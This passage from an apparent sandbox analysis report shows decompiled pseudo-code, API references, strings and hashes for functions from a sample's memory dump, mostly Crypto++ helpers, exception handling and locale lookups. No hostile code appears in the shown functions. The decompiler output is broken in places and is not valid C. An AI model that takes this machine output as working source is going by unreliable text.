					_t79 =  *((intOrPtr*)( <  ? _t117 :  &_v88));
					 *((intOrPtr*)(_t110 + 0x70)) =  *((intOrPtr*)( <  ? _t117 :  &_v88));
					_t82 = E000B0A50(_t99 + _t99 -  *_t117,  &_v32, "BlockPaddingScheme",  &_a12, 1);
					_v8 = 4;
					E000B2060(_t87, _t110, _t82);
					_t102 = _v28;
					_v8 = 5;
					if(_t102 != 0) {
						 *((intOrPtr*)( *_t102))(1);
					}
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t119);
				}
			}

0x000b1090
0x000b1093
0x000b1095
0x000b10a0
0x000b10a4
0x000b10a9
0x000b10ab
0x000b10b0
0x000b10b4
0x000b10ba
0x000b10bc
0x000b10c2
0x000b10c5
0x000b10c8
0x000b10cd
0x000b10d0
0x000b10d7
0x000b10da
0x000b10e0
0x000b10e7
0x000b10ee
0x000b10f5
0x000b10f7
0x000b10fc
0x000b1101
0x000b1103
0x000b1104
0x000b1108
0x000b110e
0x000b1115
0x000b111b
0x000b111e
0x000b1125
0x000b112a
0x000b112f
0x000b11d9
0x000b11e1
0x000b11e6
0x000b11e9
0x000b11f7
0x000b11fc
0x000b11fd
0x000b11fe
0x000b11ff
0x000b1200
0x000b1203
0x000b1205
0x000b1210
0x000b1211
0x000b1212
0x000b1219
0x000b121d
0x000b1223
0x000b122e
0x000b1231
0x000b1234
0x000b1237
0x000b123a
0x000b1241
0x000b1243
0x000b1245
0x000b1250
0x000b125c
0x000b1135
0x000b113a
0x000b1140
0x000b1143
0x000b114e
0x000b1155
0x000b1157
0x000b115c
0x000b1167
0x000b1167
0x000b1163
0x000b1163
0x000b1163
0x000b1169
0x000b1173
0x000b1176
0x000b117b
0x000b117d
0x000b118d
0x000b1198
0x000b119c
0x000b11a1
0x000b11a4
0x000b11aa
0x000b11b0
0x000b11b0
0x000b11b7
0x000b11ce
0x000b11ce

APIs

Part of subcall function 0010594C: FindSITargetTypeInstance.LIBVCRUNTIME ref: 0010599F
Part of subcall function 0010594C: FindMITargetTypeInstance.LIBVCRUNTIME ref: 001059B8
Part of subcall function 0010594C: FindVITargetTypeInstance.LIBVCRUNTIME ref: 001059BF
Part of subcall function 0010594C: PMDtoOffset.LIBCMT ref: 001059DE
Part of subcall function 0010594C: std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00105A29
Part of subcall function 0010594C: __CxxThrowException@8.LIBVCRUNTIME ref: 00105A39

Part of subcall function 000B2060: __CxxThrowException@8.LIBVCRUNTIME ref: 000B210F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B11F7

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher, xrefs: 000B11D1
BlockPaddingScheme, xrefs: 000B1187

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8FindInstanceTargetThrowType$ExceptionFeatureOffsetPresentProcessorRaise___raise_securityfailurestd::__non_rtti_object::__construct_from_string_literal
String ID: BlockPaddingScheme$StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher
API String ID: 3868980437-3582606076
Opcode ID: cd0f55fcc51be4802e23b80628c71b7219abd434b1f941a811b66cb994c53095
Instruction ID: bd2d82bab58fc9888beef46356246e52187e2e395681c6f3e7d4bae113fcb08c
Opcode Fuzzy Hash: cd0f55fcc51be4802e23b80628c71b7219abd434b1f941a811b66cb994c53095
Instruction Fuzzy Hash: 8751BE71A00348EFCB14DFA8C841BDABBF8FF09714F1045AAE815AB791D775A904CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000C9630, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149
UNIQUE

Download Yara Rule

C-Code - Quality: 74%

			E000C9630(void* __ebx, intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12, signed int _a16) {
				intOrPtr _v0;
				char _v8;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				void* _v68;
				char _v69;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr _v92;
				intOrPtr _v96;
				signed int _v100;
				intOrPtr _v104;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t98;
				signed int _t99;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr _t105;
				char* _t106;
				char _t109;
				signed int _t110;
				intOrPtr* _t114;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				signed int _t127;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t138;
				signed int _t139;
				void* _t140;
				intOrPtr _t147;
				void* _t152;
				intOrPtr _t156;
				intOrPtr* _t159;
				intOrPtr* _t171;
				char* _t172;
				intOrPtr* _t176;
				signed int _t180;
				intOrPtr _t186;
				void* _t187;
				intOrPtr _t189;
				intOrPtr _t190;
				void* _t191;
				signed int _t192;
				signed int _t193;
				signed int _t194;
				signed int _t195;
				signed int _t197;
				void* _t198;
				intOrPtr* _t200;
				signed int _t202;
				intOrPtr* _t206;
				intOrPtr* _t208;
				signed int _t211;
				void* _t213;
				void* _t215;
				void* _t217;
				void* _t220;
				void* _t221;

				_t187 = __edx;
				_t152 = __ebx;
				_push(0xffffffff);
				_push(0x135eb0);
				_push( *[fs:0x0]);
				_t98 =  *0x16f170; // 0xd529e887
				_t99 = _t98 ^ _t211;
				_v20 = _t99;
				_push(_t99);
				 *[fs:0x0] =  &_v16;
				_t206 = __ecx;
				_t101 = _a4;
				_t200 = _a8;
				_v80 = _t101;
				 *__ecx = _t101;
				 *((intOrPtr*)(__ecx + 4)) = _t200;
				 *((char*)(__ecx + 8)) = 0;
				_t102 = E001042A5(_t200, 0x1777dc, 0x1796a8);
				_t215 = _t213 - 0x40 + 8;
				_v76 = _t102;
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				_push(0xb);
				E00068B90( &_v68, _t187, _t206, "ThisObject:");
				_t188 = _v76;
				_t159 = _v76;
				_v8 = 0;
				_v76 = _t159 + 1;
				do {
					_t105 =  *_t159;
					_t159 = _t159 + 1;
				} while (_t105 != 0);
				_t106 = E00068D20( &_v68, _t206, _t188, _t159 - _v76);
				_v28 = 0;
				_v24 = 0;
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x28], xmm0");
				asm("movq xmm0, [eax+0x10]");
				asm("movq [ebp-0x18], xmm0");
				 *((intOrPtr*)(_t106 + 0x10)) = 0;
				 *((intOrPtr*)(_t106 + 0x14)) = 0xf;
				 *_t106 = 0;
				_t163 =  >=  ? _v44 :  &_v44;
				_v8 = 1;
				_t109 =  *((intOrPtr*)( *((intOrPtr*)( *_t200 + 4))))( >=  ? _v44 :  &_v44, 0x1777d8, _v80);
				_t189 = _v24;
				_v69 = _t109;
				_v8 = 0;
				if(_t189 < 0x10) {
					L6:
					_t190 = _v48;
					_v28 = 0;
					_v24 = 0xf;
					_v44 = 0;
					_v8 = 0xffffffff;
					if(_t190 < 0x10) {
						L10:
						_v52 = 0;
						_v48 = 0xf;
						_v68 = 0;
						if(_v69 == 0) {
							_t110 = E00104269(0x1777dc, 0x1777dc);
							__eflags = _t110;
							if(_t110 != 0) {
								E000C9A40(_v80 + 0x3c, _t200);
							}
						} else {
							 *((char*)(_t206 + 8)) = 1;
						}
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t211);
					} else {
						_t171 = _v68;
						_t191 = _t190 + 1;
						_t114 = _t171;
						if(_t191 < 0x1000) {
							L9:
							_push(_t191);
							E000ED2D0(_t171);
							_t215 = _t215 + 8;
							goto L10;
						} else {
							_t171 =  *((intOrPtr*)(_t171 - 4));
							_t191 = _t191 + 0x23;
							if(_t114 - _t171 + 0xfffffffc > 0x1f) {
								goto L16;
							} else {
								goto L9;
							}
						}
					}
				} else {
					_t186 = _v44;
					_t198 = _t189 + 1;
					_t147 = _t186;
					if(_t198 < 0x1000) {
						L5:
						_push(_t198);
						E000ED2D0(_t186);
						_t215 = _t215 + 8;
						goto L6;
					} else {
						_t171 =  *((intOrPtr*)(_t186 - 4));
						_t191 = _t198 + 0x23;
						if(_t147 - _t171 + 0xfffffffc > 0x1f) {
							E0010F44B(__ebx, _t171, _t191, _t200, __eflags);
							L16:
							E0010F44B(_t152, _t171, _t191, _t200, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t211);
							_push(_t152);
							_t153 = _v100;
							_push(_t206);
							_t208 = _t171;
							_t172 = "ValueNames";
							_push(_t200);
							 *_t208 = _v104;
							 *((intOrPtr*)(_t208 + 8)) = _v96;
							 *((intOrPtr*)(_t208 + 0xc)) = _v92;
							_t122 = _t153;
							 *(_t208 + 4) = _t153;
							 *(_t208 + 0x10) = 0;
							while(1) {
								_t192 =  *_t122;
								__eflags = _t192 -  *_t172;
								if(_t192 !=  *_t172) {
									break;
								}
								__eflags = _t192;
								if(_t192 == 0) {
									L22:
									_t123 = 0;
								} else {
									_t197 =  *((intOrPtr*)(_t122 + 1));
									__eflags = _t197 - _t172[1];
									if(_t197 != _t172[1]) {
										break;
									} else {
										_t122 = _t122 + 2;
										_t172 =  &(_t172[2]);
										__eflags = _t197;
										if(_t197 != 0) {
											continue;
										} else {
											goto L22;
										}
									}
								}
								L24:
								_t202 = _a16;
								__eflags = _t123;
								if(__eflags != 0) {
									L32:
									_t124 = E00111370( *(_t208 + 4), "ThisPointer:", 0xc);
									_t217 = _t215 + 0xc;
									__eflags = _t124;
									if(_t124 != 0) {
										goto L42;
									} else {
										_t132 = E001042A5(_t202, 0x1777dc, 0x1796a8);
										_t153 =  *(_t208 + 4);
										_t217 = _t217 + 8;
										_t176 =  *(_t208 + 4) + 0xc;
										while(1) {
											_t193 =  *_t176;
											__eflags = _t193 -  *_t132;
											if(_t193 !=  *_t132) {
												break;
											}
											__eflags = _t193;
											if(_t193 == 0) {
												L38:
												_t133 = 0;
											} else {
												_t194 =  *((intOrPtr*)(_t176 + 1));
												__eflags = _t194 -  *((intOrPtr*)(_t132 + 1));
												if(_t194 !=  *((intOrPtr*)(_t132 + 1))) {
													break;
												} else {
													_t176 = _t176 + 2;
													_t132 = _t132 + 2;
													__eflags = _t194;
													if(_t194 != 0) {
														continue;
													} else {
														goto L38;
													}
												}
											}
											L40:
											__eflags = _t133;
											if(__eflags != 0) {
												goto L42;
											} else {
												_push( *((intOrPtr*)(_t208 + 8)));
												_push(0x171dbc);
												E00059760(_t153, _t202, __eflags, _t153);
												 *_a12 = _v0;
												 *(_t208 + 0x10) = 1;
												return _t208;
											}
											goto L48;
										}
										asm("sbb eax, eax");
										_t133 = _t132 | 0x00000001;
										__eflags = _t133;
										goto L40;
									}
								} else {
									_push(_a8);
									 *(_t208 + 0x10) = 0x101;
									_push(0x1759c8);
									E00059760(_t153, _t202, __eflags, _t153);
									_t156 = _a12;
									_t220 = _t215 + 0xc;
									__eflags = _t202;
									if(_t202 != 0) {
										 *((intOrPtr*)( *_t202 + 4))( *(_t208 + 4), _a8, _t156);
									}
									_t138 = E00104269(0x1777dc, 0x1777dc);
									_t221 = _t220 + 8;
									__eflags = _t138;
									if(_t138 != 0) {
										E000C9CE0(_t156, _v0 + 0x3c,  *(_t208 + 4), _a8, _t156);
									}
									_t139 = E001042A5(_t202, 0x1777dc, 0x1796a8);
									_t217 = _t221 + 8;
									_t153 = _t139;
									_t140 = E00068D20( *((intOrPtr*)(_t208 + 0xc)), _t208, "ThisPointer:", 0xc);
									_t195 = _t139;
									_a4 = _t195 + 1;
									do {
										_t180 =  *_t195;
										_t195 = _t195 + 1;
										__eflags = _t180;
									} while (_t180 != 0);
									E000648E0(E00068D20(_t140, _t208, _t153, _t195 - _a4), 0x3b);
									__eflags =  *(_t208 + 0x10);
									if( *(_t208 + 0x10) != 0) {
										L42:
										__eflags =  *(_t208 + 0x10);
										if( *(_t208 + 0x10) == 0) {
											__eflags = _t202;
											if(_t202 == 0) {
												L45:
												_t127 = E00104269(0x1777dc, 0x1777dc);
												__eflags = _t127;
												if(_t127 != 0) {
													 *(_t208 + 0x10) = E000C9CE0(_t153, _v0 + 0x3c,  *(_t208 + 4), _a8, _a12);
												}
											} else {
												_t131 =  *((intOrPtr*)( *((intOrPtr*)( *_t202 + 4))))( *(_t208 + 4), _a8, _a12);
												 *(_t208 + 0x10) = _t131;
												__eflags = _t131;
												if(_t131 == 0) {
													goto L45;
												}
											}
										}
										return _t208;
									} else {
										goto L32;
									}
								}
								goto L48;
							}
							asm("sbb eax, eax");
							_t123 = _t122 | 0x00000001;
							__eflags = _t123;
							goto L24;
						} else {
							goto L5;
						}
					}
				}
				L48:
			}

0x000c9630
0x000c9630
0x000c9633
0x000c9635
0x000c9640
0x000c9644
0x000c9649
0x000c964b
0x000c9650
0x000c9654
0x000c965a
0x000c965c
0x000c965f
0x000c966c
0x000c966f
0x000c9671
0x000c9674
0x000c9678
0x000c967d
0x000c9680
0x000c9686
0x000c968d
0x000c9694
0x000c9698
0x000c969f
0x000c96a4
0x000c96a7
0x000c96a9
0x000c96b3
0x000c96b6
0x000c96b6
0x000c96b8
0x000c96b9
0x000c96c5
0x000c96ca
0x000c96d1
0x000c96d8
0x000c96db
0x000c96df
0x000c96e4
0x000c96e9
0x000c96f0
0x000c96f7
0x000c9706
0x000c9715
0x000c9719
0x000c971b
0x000c971e
0x000c9721
0x000c9728
0x000c9756
0x000c9756
0x000c9759
0x000c9760
0x000c9767
0x000c976b
0x000c9775
0x000c979f
0x000c97a3
0x000c97aa
0x000c97b1
0x000c97b5
0x000c97c7
0x000c97cf
0x000c97d1
0x000c97da
0x000c97da
0x000c97b7
0x000c97b7
0x000c97b7
0x000c97e4
0x000c97fb
0x000c9777
0x000c9777
0x000c977a
0x000c977b
0x000c9783
0x000c9795
0x000c9795
0x000c9797
0x000c979c
0x00000000
0x000c9785
0x000c9785
0x000c9788
0x000c9793
0x00000000
0x00000000
0x00000000
0x00000000
0x000c9793
0x000c9783
0x000c972a
0x000c972a
0x000c972d
0x000c972e
0x000c9736
0x000c974c
0x000c974c
0x000c974e
0x000c9753
0x00000000
0x000c9738
0x000c9738
0x000c973b
0x000c9746
0x000c97fe
0x000c9803
0x000c9803
0x000c9808
0x000c9809
0x000c980a
0x000c980b
0x000c980c
0x000c980d
0x000c980e
0x000c980f
0x000c9810
0x000c9816
0x000c9817
0x000c981a
0x000c981b
0x000c981d
0x000c9822
0x000c9823
0x000c9828
0x000c982e
0x000c9831
0x000c9833
0x000c9836
0x000c9840
0x000c9840
0x000c9842
0x000c9844
0x00000000
0x00000000
0x000c9846
0x000c9848
0x000c985c
0x000c985c
0x000c984a
0x000c984a
0x000c984d
0x000c9850
0x00000000
0x000c9852
0x000c9852
0x000c9855
0x000c9858
0x000c985a
0x00000000
0x00000000
0x00000000
0x00000000
0x000c985a
0x000c9850
0x000c9865
0x000c9865
0x000c9868
0x000c986a
0x000c9917
0x000c9921
0x000c9926
0x000c9929
0x000c992b
0x00000000
0x000c992d
0x000c9937
0x000c993c
0x000c993f
0x000c9942
0x000c9945
0x000c9945
0x000c9947
0x000c9949
0x00000000
0x00000000
0x000c994b
0x000c994d
0x000c9961
0x000c9961
0x000c994f
0x000c994f
0x000c9952
0x000c9955
0x00000000
0x000c9957
0x000c9957
0x000c995a
0x000c995d
0x000c995f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c995f
0x000c9955
0x000c996a
0x000c996a
0x000c996c
0x00000000
0x000c996e
0x000c996e
0x000c9971
0x000c9977
0x000c9985
0x000c998a
0x000c9991
0x000c9991
0x00000000
0x000c996c
0x000c9965
0x000c9967
0x000c9967
0x00000000
0x000c9967
0x000c9870
0x000c9870
0x000c9873
0x000c9879
0x000c987f
0x000c9884
0x000c9887
0x000c988a
0x000c988c
0x000c9899
0x000c9899
0x000c98a6
0x000c98ab
0x000c98ae
0x000c98b0
0x000c98bf
0x000c98bf
0x000c98ce
0x000c98d6
0x000c98d9
0x000c98e2
0x000c98e7
0x000c98ec
0x000c98f0
0x000c98f0
0x000c98f2
0x000c98f3
0x000c98f3
0x000c9907
0x000c990f
0x000c9911
0x000c9994
0x000c9997
0x000c9999
0x000c999b
0x000c999d
0x000c99b8
0x000c99c2
0x000c99ca
0x000c99cc
0x000c99e2
0x000c99e2
0x000c999f
0x000c99af
0x000c99b1
0x000c99b4
0x000c99b6
0x00000000
0x00000000
0x000c99b6
0x000c999d
0x000c99eb
0x00000000
0x00000000
0x00000000
0x000c9911
0x00000000
0x000c986a
0x000c9860
0x000c9862
0x000c9862
0x00000000
0x00000000
0x00000000
0x00000000
0x000c9746
0x000c9736
0x00000000

APIs

___std_type_info_name.LIBVCRUNTIME ref: 000C9678

Part of subcall function 001042A5: ___unDName.LIBVCRUNTIME ref: 001042D1
Part of subcall function 001042A5: InterlockedPushEntrySList.KERNEL32(D529E887,D529E887,?,?,?,?,?,?,?,?,?,D529E887), ref: 0010434A

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

ThisPointer:, xrefs: 000C98DD, 000C9919
ThisObject:, xrefs: 000C969A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: EntryFeatureInterlockedListNamePresentProcessorPush___raise_securityfailure___std_type_info_name___un
String ID: ThisObject:$ThisPointer:
API String ID: 2478894562-4169739740
Opcode ID: 2b4b67edb9f94ca6fb7d3ae3eb7e798dd92a275154158951cefc0990e97b2528
Instruction ID: 60eb1a5cb5babc5eaeeb8ec8cbe086d99b56486ec954e0f32fd972d14b666d15
Opcode Fuzzy Hash: 2b4b67edb9f94ca6fb7d3ae3eb7e798dd92a275154158951cefc0990e97b2528
Instruction Fuzzy Hash: A751E0719042489FDB14CFA8C889BEEBBB1EF55310F14821DE415A77C2DBB19A85CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000B36B0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102
UNIQUE

Download Yara Rule

C-Code - Quality: 50%

			E000B36B0(void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				void* _v88;
				void* _v92;
				intOrPtr _v96;
				void* _v104;
				void* _v108;
				char _v112;
				signed int _t36;
				signed int _t37;
				intOrPtr _t68;
				void* _t76;
				signed int _t85;

				_push(0xffffffff);
				_push(0x134e58);
				_push( *[fs:0x0]);
				_t36 =  *0x16f170; // 0xd529e887
				_t37 = _t36 ^ _t85;
				_v20 = _t37;
				_push(_t37);
				 *[fs:0x0] =  &_v16;
				_v112 = 0;
				_v108 = 0;
				_v104 = 0;
				_v96 = 0xffffffff;
				_v92 = 0;
				_v88 = 0;
				_v8 = 1;
				E00059C80(0, 0, 0);
				_push( &_v112);
				_push(0x175c1c);
				_push("InputBuffer");
				_v8 = 2;
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))() == 0) {
					E00064B00( &_v44, "StringStore: missing InputBuffer argument");
					_v8 = 3;
					E00059080( &_v44);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					 *((intOrPtr*)(_v84 + 0xa8))(_t85);
					goto __edx;
				}
				_t76 = _v88;
				_t68 = _v92;
				_t51 =  !=  ? _t76 : _v108;
				 *((intOrPtr*)(__ecx + 0x14)) =  !=  ? _t76 : _v108;
				_t53 =  !=  ? _t68 : _v104;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x18)) =  !=  ? _t68 : _v104;
				_v8 = 4;
				_t69 =  <  ? _v96 : _t68;
				memset(_t76, 0, ( <  ? _v96 : _t68) << 0);
				L000B3E40(_t76);
				 *[fs:0x0] = _v16;
				return E000ECED8(_v20 ^ _t85);
			}

0x000b36b3
0x000b36b5
0x000b36c0
0x000b36c4
0x000b36c9
0x000b36cb
0x000b36d0
0x000b36d4
0x000b36df
0x000b36e3
0x000b36ea
0x000b36f1
0x000b36f8
0x000b36ff
0x000b370f
0x000b3716
0x000b3720
0x000b3721
0x000b3726
0x000b3730
0x000b373b
0x000b37a4
0x000b37ac
0x000b37b4
0x000b37c2
0x000b37c7
0x000b37c8
0x000b37c9
0x000b37ca
0x000b37cb
0x000b37cc
0x000b37cd
0x000b37ce
0x000b37cf
0x000b37d5
0x000b37e6
0x000b37e6
0x000b3745
0x000b3748
0x000b374b
0x000b374e
0x000b3754
0x000b3757
0x000b375e
0x000b3768
0x000b3770
0x000b3775
0x000b3777
0x000b3782
0x000b3799

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000B37C2

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

InputBuffer, xrefs: 000B3726
StringStore: missing InputBuffer argument, xrefs: 000B379C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: InputBuffer$StringStore: missing InputBuffer argument
API String ID: 3939691812-2380213735
Opcode ID: f8f8185d049a15712549170473e1bfd08327a0603e1b37945538440d361fc9fc
Instruction ID: daeea024e8493ff49cf17959672b608e8a28a375031e982d50a45da66345de09
Opcode Fuzzy Hash: f8f8185d049a15712549170473e1bfd08327a0603e1b37945538440d361fc9fc
Instruction Fuzzy Hash: EA315D71A00348EFDB14DF94D855BEEBBF8EF49714F104169E415AB381DB74AA08CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00126896, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00126896(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* __esi;
				int _t15;
				int _t16;
				signed int _t17;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t36;

				_push(__ecx);
				_t23 = _a4;
				_push(_t34);
				if(_t23 == 0) {
					L21:
					_t15 = E0011F384(_t23, _t34, __eflags, _a8 + 0x250, 0x20001004,  &_v8, 2);
					__eflags = _t15;
					if(_t15 != 0) {
						_t16 = _v8;
						__eflags = _t16;
						if(_t16 == 0) {
							_t16 = GetACP();
						}
						L25:
						return _t16;
					}
					L22:
					_t16 = 0;
					goto L25;
				}
				_t17 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t34 = 0x14d548;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t34) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t17;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t36 = 0x14d550;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t36) {
								break;
							}
							if(_t31 == 0) {
								L17:
								_t48 = _t17;
								if(_t17 != 0) {
									_t16 = E0011C29C(_t23, _t23);
									goto L25;
								}
								if(E0011F384(_t23, _t36, _t48, _a8 + 0x250, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t16 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t36 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t36 = _t36 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t17 = _t17 | 0x00000001;
						__eflags = _t17;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t34 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t34 = _t34 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				__eflags = _t26;
				goto L9;
			}

0x0012689b
0x0012689c
0x0012689f
0x001268a3
0x00126949
0x0012695d
0x00126962
0x00126964
0x0012696a
0x0012696d
0x0012696f
0x00126971
0x00126971
0x00126977
0x0012697c
0x0012697c
0x00126966
0x00126966
0x00000000
0x00126966
0x001268a9
0x001268ae
0x00000000
0x00000000
0x001268b4
0x001268b9
0x001268bb
0x001268bb
0x001268c1
0x00000000
0x00000000
0x001268c6
0x001268dd
0x001268dd
0x001268e6
0x001268e8
0x00000000
0x00000000
0x001268ea
0x001268ef
0x001268f1
0x001268f1
0x001268f7
0x00000000
0x00000000
0x001268fc
0x0012691a
0x0012691a
0x0012691c
0x00126941
0x00000000
0x00126946
0x00126939
0x00000000
0x00000000
0x0012693b
0x00000000
0x0012693b
0x001268fe
0x00126906
0x00000000
0x00000000
0x00126908
0x0012690b
0x00126911
0x00000000
0x00000000
0x00000000
0x00126913
0x00126915
0x00126917
0x00126917
0x00000000
0x00126917
0x001268c8
0x001268d0
0x00000000
0x00000000
0x001268d2
0x001268d5
0x001268db
0x00000000
0x00000000
0x00000000
0x001268db
0x001268e1
0x001268e3
0x001268e3
0x00000000

APIs

Part of subcall function 0011F384: GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00119E14,?,001522A0), ref: 0011F3D7

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00126AF1,00000000,00000050,?,?,?,?,?), ref: 00126971

Strings

ACP, xrefs: 001268B4
OCP, xrefs: 001268EA

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: b19de92ff1b484a64ee65a86f7209a0a3deef8dcd54355cc9f6c1b9b809addbf
Instruction ID: ada1bcf3a3ee5ed9e6d9d58137dd48891e579738684dc8d7de3dc9ab3c077e45
Opcode Fuzzy Hash: b19de92ff1b484a64ee65a86f7209a0a3deef8dcd54355cc9f6c1b9b809addbf
Instruction Fuzzy Hash: 3C2198B2A00221AEDF288B65E901BA77366EF54B68F564478E949D7284FF32DD90C350

Uniqueness

Uniqueness Score: 0.25%

Function 00054610, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
windowUNIQUE

Download Yara Rule

C-Code - Quality: 88%

			E00054610(void* __edi, void* __esi, long _a4, char* _a8, int _a12) {
				signed int _v8;
				short* _v12;
				void* _v20;
				signed int _t20;
				WCHAR* _t25;
				long _t26;
				int _t29;
				void* _t30;
				intOrPtr _t36;
				int _t38;
				char* _t40;
				signed int _t41;
				WCHAR* _t42;

				_t20 =  *0x16f170; // 0xd529e887
				_v8 = _t20 ^ _t41;
				_t38 = _a12;
				if(_t38 == 0) {
					L17:
					return E000ECED8(_v8 ^ _t41);
				}
				if(_t38 != 1) {
					E000ED650();
					_t25 = _t42;
					_v12 = _t25;
					_t26 = FormatMessageW(0x1200, 0, _a4, 0x400, _t25, _t38, 0);
					_t40 = _a8;
					if(_t26 == 0) {
						L15:
						E000519E0(_t40, _t38, "Unknown error (%d)", _a4);
						goto L17;
					}
